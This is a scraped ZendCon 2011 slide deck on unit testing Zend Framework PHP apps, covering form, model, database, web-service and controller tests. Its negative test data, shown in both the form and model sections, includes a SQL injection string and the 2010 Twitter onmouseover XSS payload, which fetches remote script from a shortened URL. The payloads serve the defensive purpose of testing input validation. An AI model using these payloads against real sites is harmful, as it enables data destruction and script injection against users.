Unit Testing
Zend Framework Apps
  ZendCon 2011, Santa Clara CA, USA
Michelangelo van Dam
• Independent Consultant
• Zend Certified Engineer (ZCE)
• President of PHPBenelux
The saga continues…
Zend Webinar




http://www.zend.com/en/resources/webinars/framework
Any reasons not to test?
Most common excuses
• no time
• not within budget
• development team does not know how
• tests are provided after delivery
•…
NO EXCUSES!
The cost of bugs
           Bugs                Costs            Unittests

100



 75



 50



 25



  0
   Start          Milestone1           Milestone2           Milestone3
Maintainability
•- during development
     test will fail indicating bugs
•- after sales support
    testing if an issue is genuine
 - fixing issues won’t break code base
  ‣ if they do, you need to fix it!
• long term projects
 - refactoring made easy
Confidence
•- for the developer
     code works
•- for the manager
     project succeeds
•- for sales / general management / share holders
     making profit
•- for the customer
    paying for what they want
Unit testing ZF apps
Setting things up
phpunit.xml
<phpunit bootstrap="./TestHelper.php" colors="true">
    <testsuite name="Unit test suite">
        <directory>./</directory>
    </testsuite>

   <filter>
       <whitelist>
            <directory suffix=".php">../application/</directory>
            <directory suffix=".php">../library/Mylib/</directory>
            <exclude>
                <directory suffix=".phtml">../application/</directory>
            </exclude>
       </whitelist>
   </filter>

</phpunit>
TestHelper.php
<?php
// set our app paths and environments
define('BASE_PATH', realpath(dirname(__FILE__) . '/../'));
define('APPLICATION_PATH', BASE_PATH . '/application');
define('TEST_PATH', BASE_PATH . '/tests');
define('APPLICATION_ENV', 'testing');

// Include path
set_include_path(
    . PATH_SEPARATOR . BASE_PATH . '/library'
    . PATH_SEPARATOR . get_include_path()
);

// Set the default timezone !!!
date_default_timezone_set('Europe/Brussels');

// We wanna catch all errors en strict warnings
error_reporting(E_ALL|E_STRICT);

require_once 'Zend/Application.php';
$application = new Zend_Application(
    APPLICATION_ENV,
    APPLICATION_PATH . '/configs/application.ini'
);

$application->bootstrap();
Zend_Tool since 1.11.4


• provides
 • phpunit.xml
 • bootstrap.php
 • IndexControllerTest.php

                             Ralph Schindler
Start your engines!




 http://www.flickr.com/photos/robdunckley/3781995277
Testing Zend_Form
CommentForm
        Name:
E-mail Address:
      Website:
    Comment:



       Post
Start with the test
<?php
class Application_Form_CommentFormTest extends PHPUnit_Framework_TestCase
{
    protected $_form;

    protected function setUp()
    {
        $this->_form = new Application_Form_CommentForm();
        parent::setUp();
    }
    protected function tearDown()
    {
        parent::tearDown();
        $this->_form = null;
    }

}
The good stuff
public function goodData()
{
     return array (
         array ('John Doe', 'john.doe@example.com',
                'http://example.com', 'test comment'),
         array ("Matthew Weier O'Phinney", 'matthew@zend.com',
                'http://weierophinney.net', 'Doing an MWOP-Test'),
         array ('D. Keith Casey, Jr.', 'Keith@CaseySoftware.com',
                'http://caseysoftware.com', 'Doing a monkey dance'),
     );
}
/**
  * @dataProvider goodData
  */
public function testFormAcceptsValidData($name, $email, $web, $comment)
{
     $data = array (
         'name' => $name, 'mail' => $mail, 'web' => $web, 'comment' => $comment,
     );
     $this->assertTrue($this->_form->isValid($data));
}
The bad stuff
public function badData()
{
     return array (
         array ('','','',''),
         array ("Robert'; DROP TABLES comments; --", '',
                'http://xkcd.com/327/','Little Bobby Tables'),
         array (str_repeat('x', 100000), '', '', ''),
         array ('John Doe', 'jd@example.com',
                "http://t.co/@"style="font-size:999999999999px;"onmouseover=
"$.getScript('http:u002fu002fis.gdu002ffl9A7')"/",
                'exploit twitter 9/21/2010'),
     );
}
/**
  * @dataProvider badData
  */
public function testFormRejectsBadData($name, $email, $web, $comment)
{
     $data = array (
         'name' => $name, 'mail' => $mail, 'web' => $web, 'comment' => $comment,
     );
     $this->assertFalse($this->_form->isValid($data));
}
Create the form class
<?php

class Application_Form_CommentForm extends Zend_Form
{

    public function init()
    {
        /* Form Elements & Other Definitions Here ... */
    }


}
Let’s run the test
Let’s put in our elements
<?php

class Application_Form_CommentForm extends Zend_Form
{

    public function init()
    {
        $this->addElement('text', 'name', array (
            'Label' => 'Name', 'Required' => true));
        $this->addElement('text', 'mail', array (
            'Label' => 'E-mail Address', 'Required' => true));
        $this->addElement('text', 'web', array (
            'Label' => 'Website', 'Required' => false));
        $this->addElement('textarea', 'comment', array (
            'Label' => 'Comment', 'Required' => true));
        $this->addElement('submit', 'post', array (
            'Label' => 'Post', 'Ignore' => true));
    }


}
Less errors?
Filter - Validate
$this->addElement('text', 'name', array (
    'Label' => 'Name', 'Required' => true,
    'Filters' => array ('StringTrim', 'StripTags'),
    'Validators' => array (
        new Zftest_Validate_Mwop(),
        new Zend_Validate_StringLength(array ('min' => 4, 'max' => 50))),
));
$this->addElement('text', 'mail', array (
    'Label' => 'E-mail Address', 'Required' => true,
    'Filters' => array ('StringTrim', 'StripTags', 'StringToLower'),
    'Validators' => array (
        new Zend_Validate_EmailAddress(),
        new Zend_Validate_StringLength(array ('min' => 4, 'max' => 50))),
));
$this->addElement('text', 'web', array (
    'Label' => 'Website', 'Required' => false,
    'Filters' => array ('StringTrim', 'StripTags', 'StringToLower'),
    'Validators' => array (
        new Zend_Validate_Callback(array('Zend_Uri', 'check')),
        new Zend_Validate_StringLength(array ('min' => 4, 'max' => 50))),
));
$this->addElement('textarea', 'comment', array (
    'Label' => 'Comment', 'Required' => true,
    'Filters' => array ('StringTrim', 'StripTags'),
    'Validators' => array (
        new Zftest_Validate_TextBox(),
        new Zend_Validate_StringLength(array ('max' => 5000))),
));
Green, warm & fuzzy
You’re a winner!


☑ quality code
☑ tested
☑ secure
☑ reusable
Testing models
Testing business logic
•- models contain logic
   tied to your business
 - tied to your storage
 - tied to your resources
• no “one size fits all” solution
Type: data containers
•- contains structured data
    populated through setters and getters
•- perform logic tied to it’s purpose
   transforming data
 - filtering data
 - validating data
• can convert into other data types
 - arrays
 - strings (JSON, serialized, xml, …)
• are providers to other models
Comment Class
Writing model test
<?php
class Application_Model_CommentTest extends PHPUnit_Framework_TestCase
{
    protected $_comment;
    protected function setUp()
    {
        $this->_comment = new Application_Model_Comment();
        parent::setUp();
    }
    protected function tearDown()
    {
        parent::tearDown();
        $this->_comment = null;
    }
    public function testModelIsEmptyAtConstruct()
    {
        $this->assertSame(0, $this->_comment->getId());
        $this->assertNull($this->_comment->getFullName());
        $this->assertNull($this->_comment->getEmailAddress());
        $this->assertNull($this->_comment->getWebsite());
        $this->assertNull($this->_comment->getComment());
    }
}
This test won’t run!
Create a simple model
<?php

class Application_Model_Comment
{
    protected $_id = 0; protected $_fullName; protected $_emailAddress;
    protected $_website; protected $_comment;

    public   function setId($id) { $this->_id = (int) $id; return $this; }
    public   function getId() { return $this->_id; }
    public   function setFullName($fullName) { $this->_fullName = (string) $fullName; return $this; }
    public   function getFullName() { return $this->_fullName; }
    public   function setEmailAddress($emailAddress) { $this->_emailAddress = (string) $emailAddress; return $this; }
    public   function getEmailAddress() { return $this->_emailAddress; }
    public   function setWebsite($website) { $this->_website = (string) $website; return $this; }
    public   function getWebsite() { return $this->_website; }
    public   function setComment($comment) { $this->_comment = (string) $comment; return $this; }
    public   function getComment() { return $this->_comment; }
    public   function populate($row) {
        if   (is_array($row)) {
              $row = new ArrayObject($row, ArrayObject::ARRAY_AS_PROPS);
        }
        if   (isset   ($row->id)) $this->setId($row->id);
        if   (isset   ($row->fullName)) $this->setFullName($row->fullName);
        if   (isset   ($row->emailAddress)) $this->setEmailAddress($row->emailAddress);
        if   (isset   ($row->website)) $this->setWebsite($row->website);
        if   (isset   ($row->comment)) $this->setComment($row->comment);
    }
    public function toArray()     {
        return array (
            'id'           =>     $this->getId(),
            'fullName'     =>     $this->getFullName(),
            'emailAddress' =>     $this->getEmailAddress(),
            'website'      =>     $this->getWebsite(),
            'comment'      =>     $this->getComment(),
        );
    }
}
We pass the test…
Really ???
Not all data from form!
•- model can be populated from
    users through the form
 - data stored in the database
 - a webservice (hosted by us or others)
• simply test it
 - by using same test scenario’s from our form
The good stuff
public function goodData()
{
     return array (
         array ('John Doe', 'john.doe@example.com',
                'http://example.com', 'test comment'),
         array ("Matthew Weier O'Phinney", 'matthew@zend.com',
                'http://weierophinney.net', 'Doing an MWOP-Test'),
         array ('D. Keith Casey, Jr.', 'Keith@CaseySoftware.com',
                'http://caseysoftware.com', 'Doing a monkey dance'),
     );
}
/**
  * @dataProvider goodData
  */
public function testModelAcceptsValidData($name, $mail, $web, $comment)
{
     $data = array (
         'fullName' => $name, 'emailAddress' => $mail, 'website' => $web, 'comment' => $comment,
     );
     try {
         $this->_comment->populate($data);
     } catch (Zend_Exception $e) {
         $this->fail('Unexpected exception should not be triggered');
     }
     $data['id'] = 0;
     $data['emailAddress'] = strtolower($data['emailAddress']);
     $data['website'] = strtolower($data['website']);
     $this->assertSame($this->_comment->toArray(), $data);
}
The bad stuff
public function badData()
{
     return array (
         array ('','','',''),
         array ("Robert'; DROP TABLES comments; --", '', 'http://xkcd.com/327/','Little Bobby
Tables'),
         array (str_repeat('x', 1000), '', '', ''),
         array ('John Doe', 'jd@example.com', "http://t.co/@"style="font-size:999999999999px;
"onmouseover="$.getScript('http:u002fu002fis.gdu002ffl9A7')"/", 'exploit twitter
9/21/2010'),
     );
}
/**
  * @dataProvider badData
  */
public function testModelRejectsBadData($name, $mail, $web, $comment)
{
     $data = array (
         'fullName' => $name, 'emailAddress' => $mail, 'website' => $web, 'comment' => $comment,
     );
     try {
         $this->_comment->populate($data);
     } catch (Zend_Exception $e) {
         return;
     }
     $this->fail('Expected exception should be triggered');

}
Let’s run it
Modify our model
protected $_filters;
protected $_validators;

public function __construct($params = null)
{
    $this->_filters = array (
        'id' => array ('Int'),
        'fullName' => array ('StringTrim', 'StripTags', new Zend_Filter_Alnum(true)),
        'emailAddress' => array ('StringTrim', 'StripTags', 'StringToLower'),
        'website' => array ('StringTrim', 'StripTags', 'StringToLower'),
     'comment' => array ('StringTrim', 'StripTags'),
    );
    $this->_validators = array (
        'id' => array ('Int'),
        'fullName' => array (
            new Zftest_Validate_Mwop(),
            new Zend_Validate_StringLength(array ('min' => 4, 'max' => 50)),
        ),
        'emailAddress' => array (
            'EmailAddress',
            new Zend_Validate_StringLength(array ('min' => 4, 'max' => 50)),
        ),
        'website' => array (
            new Zend_Validate_Callback(array('Zend_Uri', 'check')),
            new Zend_Validate_StringLength(array ('min' => 4, 'max' => 50)),
        ),
     'comment' => array (
            new Zftest_Validate_TextBox(),
            new Zend_Validate_StringLength(array ('max' => 5000)),
        ),
    );
    if (null !== $params) { $this->populate($params); }
}
Modify setters: Id & name
public function setId($id)
{
    $input = new Zend_Filter_Input($this->_filters, $this->_validators);
    $input->setData(array ('id' => $id));
    if (!$input->isValid('id')) {
        throw new Zend_Exception('Invalid ID provided');
    }
    $this->_id = (int) $input->id;
    return $this;
}

public function setFullName($fullName)
{
    $input = new Zend_Filter_Input($this->_filters, $this->_validators);
    $input->setData(array ('fullName' => $fullName));
    if (!$input->isValid('fullName')) {
        throw new Zend_Exception('Invalid fullName provided');
    }
    $this->_fullName = (string) $input->fullName;
    return $this;
}
Email & website
public function setEmailAddress($emailAddress)
{
    $input = new Zend_Filter_Input($this->_filters, $this->_validators);
    $input->setData(array ('emailAddress' => $emailAddress));
    if (!$input->isValid('emailAddress')) {
        throw new Zend_Exception('Invalid emailAddress provided');
    }
    $this->_emailAddress = (string) $input->emailAddress;
    return $this;
}

public function setWebsite($website)
{
    $input = new Zend_Filter_Input($this->_filters, $this->_validators);
    $input->setData(array ('website' => $website));
    if (!$input->isValid('website')) {
        throw new Zend_Exception('Invalid website provided');
    }
    $this->_website = (string) $input->website;
    return $this;
}
and comment
public function setComment($comment)
{
    $input = new Zend_Filter_Input($this->_filters, $this->_validators);
    $input->setData(array ('comment' => $comment));
    if (!$input->isValid('comment')) {
        throw new Zend_Exception('Invalid comment provided');
    }
    $this->_comment = (string) $input->comment;
    return $this;
}
Now we’re good!
Testing Databases
Integration Testing
•- database specific functionality
   triggers
 - constraints
 - stored procedures
 - sharding/scalability
• data input/output
 - correct encoding of data
 - transactions execution and rollback
Points of concern
•- beware of automated data types
   auto increment sequence ID’s
 - default values like CURRENT_TIMESTAMP
• beware of time related issues
 - timestamp vs. datetime
 - UTC vs. local time
The domain Model
• Model object
• Mapper object
• Table gateway object

    Read more about it
Change our test class

class Application_Model_CommentTest
   extends PHPUnit_Framework_TestCase

becomes

class Application_Model_CommentTest
   extends Zend_Test_PHPUnit_DatabaseTestCase
Setting DB Testing up
protected $_connectionMock;

public function getConnection()
{
    if (null === $this->_dbMock) {
        $this->bootstrap = new Zend_Application(
            APPLICATION_ENV, APPLICATION_PATH . '/configs/application.ini');
        $this->bootstrap->bootstrap('db');
        $db = $this->bootstrap->getBootstrap()->getResource('db');
        $this->_connectionMock = $this->createZendDbConnection(
            $db, 'zftest'
        );
        return $this->_connectionMock;
    }
}

public function getDataSet()
{
    return $this->createFlatXmlDataSet(
        realpath(APPLICATION_PATH . '/../tests/_files/initialDataSet.xml'));
}
initialDataSet.xml
<?xml version="1.0" encoding="UTF-8"?>
<dataset>
    <comment
       id="1"
       fullName="B.A. Baracus"
       emailAddress="ba@a-team.com"
       website="http://www.a-team.com"
       comment="I pitty the fool that doesn't test!"/>
    <comment
       id="2"
       fullName="Martin Fowler"
       emailAddress="fowler@acm.org"
       website="http://martinfowler.com/"
       comment="Models are not right or wrong; they are more or less useful."/>
</dataset>
Testing SELECT
public function testDatabaseCanBeRead()
{
    $ds = new Zend_Test_PHPUnit_Db_DataSet_QueryDataSet(
        $this->getConnection());
    $ds->addTable('comment', 'SELECT * FROM `comment`');

    $expected = $this->createFlatXMLDataSet(
        APPLICATION_PATH . '/../tests/_files/selectDataSet.xml');
    $this->assertDataSetsEqual($expected, $ds);
}
selectDataSet.xml
<?xml version="1.0" encoding="UTF-8"?>
<dataset>
    <comment
       id="1"
       fullName="B.A. Baracus"
       emailAddress="ba@a-team.com"
       website="http://www.a-team.com"
       comment="I pitty the fool that doesn't test!"/>
    <comment
       id="2"
       fullName="Martin Fowler"
       emailAddress="fowler@acm.org"
       website="http://martinfowler.com/"
       comment="Models are not right or wrong; they are more or less useful."/>
</dataset>
Testing UPDATE
public function testDatabaseCanBeUpdated()
{
    $comment = new Application_Model_Comment();
    $mapper = new Application_Model_CommentMapper();
    $mapper->find(1, $comment);
    $comment->setComment('I like you picking up the challenge!');
    $mapper->save($comment);

    $ds = new Zend_Test_PHPUnit_Db_DataSet_QueryDataSet(
        $this->getConnection());
    $ds->addTable('comment', 'SELECT * FROM `comment`');

    $expected = $this->createFlatXMLDataSet(
        APPLICATION_PATH . '/../tests/_files/updateDataSet.xml');
    $this->assertDataSetsEqual($expected, $ds);
}
updateDataSet.xml
<?xml version="1.0" encoding="UTF-8"?>
<dataset>
    <comment
       id="1"
       fullName="B.A. Baracus"
       emailAddress="ba@a-team.com"
       website="http://www.a-team.com"
       comment="I like you picking up the challenge!"/>
    <comment
       id="2"
       fullName="Martin Fowler"
       emailAddress="fowler@acm.org"
       website="http://martinfowler.com/"
       comment="Models are not right or wrong; they are more or less useful."/>
</dataset>
Testing DELETE
public function testDatabaseCanDeleteAComment()
{
    $comment = new Application_Model_Comment();
    $mapper = new Application_Model_CommentMapper();
    $mapper->find(1, $comment)
           ->delete($comment);
    $ds = new Zend_Test_PHPUnit_Db_DataSet_QueryDataSet(
        $this->getConnection());
    $ds->addTable('comment', 'SELECT * FROM `comment`');

    $expected = $this->createFlatXMLDataSet(
        APPLICATION_PATH . '/../tests/_files/deleteDataSet.xml');
    $this->assertDataSetsEqual($expected, $ds);
}
deleteDataSet.xml
<?xml version="1.0" encoding="UTF-8"?>
<dataset>
    <comment
       id="2"
       fullName="Martin Fowler"
       emailAddress="fowler@acm.org"
       website="http://martinfowler.com/"
       comment="Models are not right or wrong; they are more or less useful."/>
</dataset>
Testing INSERT
public function testDatabaseCanAddAComment()
{
    $comment = new Application_Model_Comment();
    $comment->setFullName('Michelangelo van Dam')
            ->setEmailAddress('dragonbe@gmail.com')
            ->setWebsite('http://www.dragonbe.com')
            ->setComment('Unit Testing, It is so addictive!!!');
    $mapper = new Application_Model_CommentMapper();
    $mapper->save($comment);

    $ds = new Zend_Test_PHPUnit_Db_DataSet_QueryDataSet(
        $this->getConnection());
    $ds->addTable('comment', 'SELECT * FROM `comment`');

    $expected = $this->createFlatXMLDataSet(
        APPLICATION_PATH . '/../tests/_files/addDataSet.xml');
    $this->assertDataSetsEqual($expected, $ds);
}
insertDataSet.xml
<?xml version="1.0" encoding="UTF-8"?>
<dataset>
    <comment
       id="1"
       fullName="B.A. Baracus"
       emailAddress="ba@a-team.com"
       website="http://www.a-team.com"
       comment="I pitty the fool that doesn't test!"/>
    <comment
      id="2"
       fullName="Martin Fowler"
       emailAddress="fowler@acm.org"
       website="http://martinfowler.com/"
       comment="Models are not right or wrong; they are more or less useful."/>
    <comment
      id="3"
       fullName="Michelangelo van Dam"
       emailAddress="dragonbe@gmail.com"
       website="http://www.dragonbe.com"
       comment="Unit Testing, It is so addictive!!!"/>
</dataset>
Run Test
What went wrong here?
AUTO_INCREMENT
Testing INSERT w/ filter
public function testDatabaseCanAddAComment()
{
    $comment = new Application_Model_Comment();
    $comment->setFullName('Michelangelo van Dam')
            ->setEmailAddress('dragonbe@gmail.com')
            ->setWebsite('http://www.dragonbe.com')
            ->setComment('Unit Testing, It is so addictive!!!');
    $mapper = new Application_Model_CommentMapper();
    $mapper->save($comment);

    $ds = new Zend_Test_PHPUnit_Db_DataSet_QueryDataSet(
        $this->getConnection());
    $ds->addTable('comment', 'SELECT * FROM `comment`');
    $filteredDs = new PHPUnit_Extensions_Database_DataSet_DataSetFilter(
            $ds, array ('comment' => array ('id')));

    $expected = $this->createFlatXMLDataSet(
        APPLICATION_PATH . '/../tests/_files/addDataSet.xml');
    $this->assertDataSetsEqual($expected, $filteredDs);
}
insertDataSet.xml
<?xml version="1.0" encoding="UTF-8"?>
<dataset>
    <comment
       fullName="B.A. Baracus"
       emailAddress="ba@a-team.com"
       website="http://www.a-team.com"
       comment="I pitty the fool that doesn't test!"/>
    <comment
       fullName="Martin Fowler"
       emailAddress="fowler@acm.org"
       website="http://martinfowler.com/"
       comment="Models are not right or wrong; they are more or less useful."/>
    <comment
       fullName="Michelangelo van Dam"
       emailAddress="dragonbe@gmail.com"
       website="http://www.dragonbe.com"
       comment="Unit Testing, It is so addictive!!!"/>
</dataset>
Run Test
Testing Web Services
Web services remarks
•- you need to comply with an API
    that will be your reference
•- You cannot always make a test-call
     paid services per call
 -   test environment is “offline”
 -   network related issues
Example: joind.in
JoindIn Test
<?php
class Zftest_Service_JoindinTest extends PHPUnit_Framework_TestCase
{
    protected $_joindin;
    protected $_settings;

   protected function setUp()
   {
       $this->_joindin = new Zftest_Service_Joindin();
       // using the test adapter for testing
       $client = new Zend_Http_Client();
       $client->setAdapter(new Zend_Http_Client_Adapter_Test());
       $this->_joindin->setClient($client);

       $settings = simplexml_load_file(realpath(
           APPLICATION_PATH . '/../tests/_files/settings.xml'));
       $this->_settings = $settings->joindin;
       parent::setUp();
   }
   protected function tearDown()
   {
       parent::tearDown();
       $this->_joindin = null;
   }
JoindIn Test
    public function testJoindinCanGetUserDetails()
    {
        $expected = '<?xml version="1.0"?><response><item><username>DragonBe</
username><full_name>Michelangelo van Dam</full_name><ID>19</
ID><last_login>1303248639</last_login></item></response>';
        $this->_joindin->setUsername($this->_settings->username)
                       ->setPassword($this->_settings->password);
        $actual = $this->_joindin->user()->getDetail();
        $this->assertXmlStringEqualsXmlString($expected, $actual);
    }

    public function testJoindinCanCheckStatus()
    {
        $date = new DateTime();
        $date->setTimezone(new DateTimeZone('UTC'));
$client = $this->_joindin->getClient()->getAdapter()->setResponse($response);
        $expected = '<?xml version="1.0"?><response><dt>' . $date-
>format('r') . '</dt><test_string>testing unit test</test_string></response>';
        $actual = $this->_joindin->site()->getStatus('testing unit test');
        $this->assertXmlStringEqualsXmlString($expected, $actual);
    }
Testing The Service
Euh… What?
1) Zftest_Service_JoindinTest::testJoindinCanGetUserDetails
Failed asserting that two strings are equal.
--- Expected
+++ Actual
@@ @@
      <ID>19</ID>
-     <last_login>1303248639</last_login>
+     <last_login>1303250271</last_login>
    </item>
  </response>
And this?
2) Zftest_Service_JoindinTest::testJoindinCanCheckStatus
Failed asserting that two strings are equal.
--- Expected
+++ Actual
@@ @@
<?xml version=”1.0”?>
<response>
- <dt>Tue, 19 Apr 2011 22:26:40 +0000</dt>
+ <dt>Tue, 19 Apr 2011 22:26:41 +0000</dt>
</response>
Solution is right here!
API = test scenarios
Mocking Client Adapter
<?php
class Zftest_Service_JoindinTest extends PHPUnit_Framework_TestCase
{
    protected $_joindin;
    protected $_settings;

    protected function setUp()
    {
        $this->_joindin = new Zftest_Service_Joindin();
        // using the test adapter for testing
        $client = new Zend_Http_Client();
        $client->setAdapter(new Zend_Http_Client_Adapter_Test());
        $this->_joindin->setClient($client);

        $settings = simplexml_load_file(realpath(
            APPLICATION_PATH . '/../tests/_files/settings.xml'));
        $this->_settings = $settings->joindin;
        parent::setUp();
    }
JoindinUserMockTest
    public function testJoindinCanGetUserDetails()
    {
        $response = <<<EOS
HTTP/1.1 200 OK
Content-type: text/xml

<?xml version="1.0"?>
<response>
  <item>
     <username>DragonBe</username>
     <full_name>Michelangelo van Dam</full_name>
     <ID>19</ID>
     <last_login>1303248639</last_login>
  </item>
</response>
EOS;
         $client = $this->_joindin->getClient()->getAdapter()->setResponse($response);
         $expected = '<?xml version="1.0"?><response><item><username>DragonBe</
username><full_name>Michelangelo van Dam</full_name><ID>19</ID><last_login>1303248639</
last_login></item></response>';
         $this->_joindin->setUsername($this->_settings->username)
                        ->setPassword($this->_settings->password);
         $actual = $this->_joindin->user()->getDetail();
         $this->assertXmlStringEqualsXmlString($expected, $actual);
     }
JoindinStatusMockTest
    public function testJoindinCanCheckStatus()
    {
        $date = new DateTime();
        $date->setTimezone(new DateTimeZone('UTC'));
        $response = <<<EOS
HTTP/1.1 200 OK
Content-type: text/xml

<?xml version="1.0"?>
<response>
  <dt>{$date->format('r')}</dt>
  <test_string>testing unit test</test_string>
</response>
EOS;
        $client = $this->_joindin->getClient()->getAdapter()-
>setResponse($response);
        $expected = '<?xml version="1.0"?><response><dt>' . $date-
>format('r') . '</dt><test_string>testing unit test</test_string></response>';
        $actual = $this->_joindin->site()->getStatus('testing unit test');
        $this->assertXmlStringEqualsXmlString($expected, $actual);
     }
}
Good implementation?
Controller Testing
When to use?
•- GOOD
  validation of correct headers
- track redirections
- errors and/or exceptions
- visitor flow (page 1 -> page 2, …)
•NOT SO GOOD
- validation of DOM elements on page
- asserting (error) messages
Form Flow
REMARK
•- data providers can be used
   to test valid data
 - to test invalid data
• but we know it’s taken care of our model
 - just checking for error messages in the form
Setting up ControllerTest
?php

class IndexControllerTest extends Zend_Test_PHPUnit_ControllerTestCase
{

    public function setUp()
    {
        $this->bootstrap = new Zend_Application(
            APPLICATION_ENV, APPLICATION_PATH . '/configs/application.ini');
        parent::setUp();
    }
…
}
Testing Form is on Page
    public function testIndexAction()
    {
         $params = array('action' => 'index', 'controller' => 'index', 'module'
=> 'default');
        $url = $this->url($this->urlizeOptions($params));
        $this->dispatch($url);

        // assertions
        $this->assertModule($params['module']);
        $this->assertController($params['controller']);
        $this->assertAction($params['action']);
             $this->assertQueryContentContains('h1#pageTitle', 'Please leave a
comment');
        $this->assertQueryCount('form#commentForm', 1);
    }
Test if we hit home
    public function testSuccessAction()
    {
              $params = array('action' => 'success', 'controller' => 'index',
'module' => 'default');
        $url = $this->url($this->urlizeOptions($params));
        $this->dispatch($url);

       // assertions
       $this->assertModule($params['module']);
       $this->assertController($params['controller']);
       $this->assertAction($params['action']);

       $this->assertRedirectTo('/');
   }
Test Processing
public function testProcessAction()
{
    $testData = array (
        'name'    => 'testUser',
        'mail'    => 'test@example.com',
        'web'     => 'http://www.example.com',
        'comment' => 'This is a test comment',
    );
    $params = array('action' => 'process', 'controller' => 'index', 'module' => 'default');
    $url = $this->url($this->urlizeOptions($params));
    $this->request->setMethod('post');
    $this->request->setPost($testData);
    $this->dispatch($url);

    // assertions
    $this->assertModule($params['module']);
    $this->assertController($params['controller']);
    $this->assertAction($params['action']);

    $this->assertResponseCode(302);
    $this->assertRedirectTo('/index/success');

    $this->resetRequest();
    $this->resetResponse();
    $this->dispatch('/index/success');
    $this->assertQueryContentContains('span#fullName', $testData['name']);
}
Redirect test
    public function testSuccessAction()
    {
              $params = array('action' => 'success', 'controller' => 'index',
'module' => 'default');
        $url = $this->url($this->urlizeOptions($params));
        $this->dispatch($url);

       // assertions
       $this->assertModule($params['module']);
       $this->assertController($params['controller']);
       $this->assertAction($params['action']);

       $this->assertRedirectTo('/');
   }
Running ControllerTests
Run All Tests
Conclusion
• unit testing is simple
• no excuses not to test
•- test what counts
     what makes you loose money if it breaks?
•- mock out whatever’s expensive
    databases, filesystem, services, …
Thank you
• source code:
     http://github.com/DragonBe/zftest

• your rating:
     http://joind.in/talk/view/3790

•- follow me:
      twitter: @DragonBe
 -    facebook: DragonBe
• January 27-28, 2012 Antwerp Belgium
• 2 day conference
• community driven
• low prices
• ticket sales start in November

Unit testing zend framework apps

  • 1.
    Unit Testing Zend FrameworkApps ZendCon 2011, Santa Clara CA, USA
  • 2.
    Michelangelo van Dam •Independent Consultant • Zend Certified Engineer (ZCE) • President of PHPBenelux
  • 3.
  • 4.
  • 5.
  • 6.
    Most common excuses •no time • not within budget • development team does not know how • tests are provided after delivery •…
  • 7.
  • 8.
    The cost ofbugs Bugs Costs Unittests 100 75 50 25 0 Start Milestone1 Milestone2 Milestone3
  • 9.
    Maintainability •- during development test will fail indicating bugs •- after sales support testing if an issue is genuine - fixing issues won’t break code base ‣ if they do, you need to fix it! • long term projects - refactoring made easy
  • 11.
    Confidence •- for thedeveloper code works •- for the manager project succeeds •- for sales / general management / share holders making profit •- for the customer paying for what they want
  • 13.
  • 14.
  • 15.
    phpunit.xml <phpunit bootstrap="./TestHelper.php" colors="true"> <testsuite name="Unit test suite"> <directory>./</directory> </testsuite> <filter> <whitelist> <directory suffix=".php">../application/</directory> <directory suffix=".php">../library/Mylib/</directory> <exclude> <directory suffix=".phtml">../application/</directory> </exclude> </whitelist> </filter> </phpunit>
  • 16.
    TestHelper.php <?php // set ourapp paths and environments define('BASE_PATH', realpath(dirname(__FILE__) . '/../')); define('APPLICATION_PATH', BASE_PATH . '/application'); define('TEST_PATH', BASE_PATH . '/tests'); define('APPLICATION_ENV', 'testing'); // Include path set_include_path( . PATH_SEPARATOR . BASE_PATH . '/library' . PATH_SEPARATOR . get_include_path() ); // Set the default timezone !!! date_default_timezone_set('Europe/Brussels'); // We wanna catch all errors en strict warnings error_reporting(E_ALL|E_STRICT); require_once 'Zend/Application.php'; $application = new Zend_Application( APPLICATION_ENV, APPLICATION_PATH . '/configs/application.ini' ); $application->bootstrap();
  • 17.
    Zend_Tool since 1.11.4 •provides • phpunit.xml • bootstrap.php • IndexControllerTest.php Ralph Schindler
  • 18.
    Start your engines! http://www.flickr.com/photos/robdunckley/3781995277
  • 19.
  • 20.
    CommentForm Name: E-mail Address: Website: Comment: Post
  • 21.
    Start with thetest <?php class Application_Form_CommentFormTest extends PHPUnit_Framework_TestCase { protected $_form; protected function setUp() { $this->_form = new Application_Form_CommentForm(); parent::setUp(); } protected function tearDown() { parent::tearDown(); $this->_form = null; } }
  • 22.
    The good stuff publicfunction goodData() { return array ( array ('John Doe', '[email protected]', 'http://example.com', 'test comment'), array ("Matthew Weier O'Phinney", '[email protected]', 'http://weierophinney.net', 'Doing an MWOP-Test'), array ('D. Keith Casey, Jr.', '[email protected]', 'http://caseysoftware.com', 'Doing a monkey dance'), ); } /** * @dataProvider goodData */ public function testFormAcceptsValidData($name, $email, $web, $comment) { $data = array ( 'name' => $name, 'mail' => $mail, 'web' => $web, 'comment' => $comment, ); $this->assertTrue($this->_form->isValid($data)); }
  • 23.
    The bad stuff publicfunction badData() { return array ( array ('','','',''), array ("Robert'; DROP TABLES comments; --", '', 'http://xkcd.com/327/','Little Bobby Tables'), array (str_repeat('x', 100000), '', '', ''), array ('John Doe', '[email protected]', "http://t.co/@"style="font-size:999999999999px;"onmouseover= "$.getScript('http:u002fu002fis.gdu002ffl9A7')"/", 'exploit twitter 9/21/2010'), ); } /** * @dataProvider badData */ public function testFormRejectsBadData($name, $email, $web, $comment) { $data = array ( 'name' => $name, 'mail' => $mail, 'web' => $web, 'comment' => $comment, ); $this->assertFalse($this->_form->isValid($data)); }
  • 24.
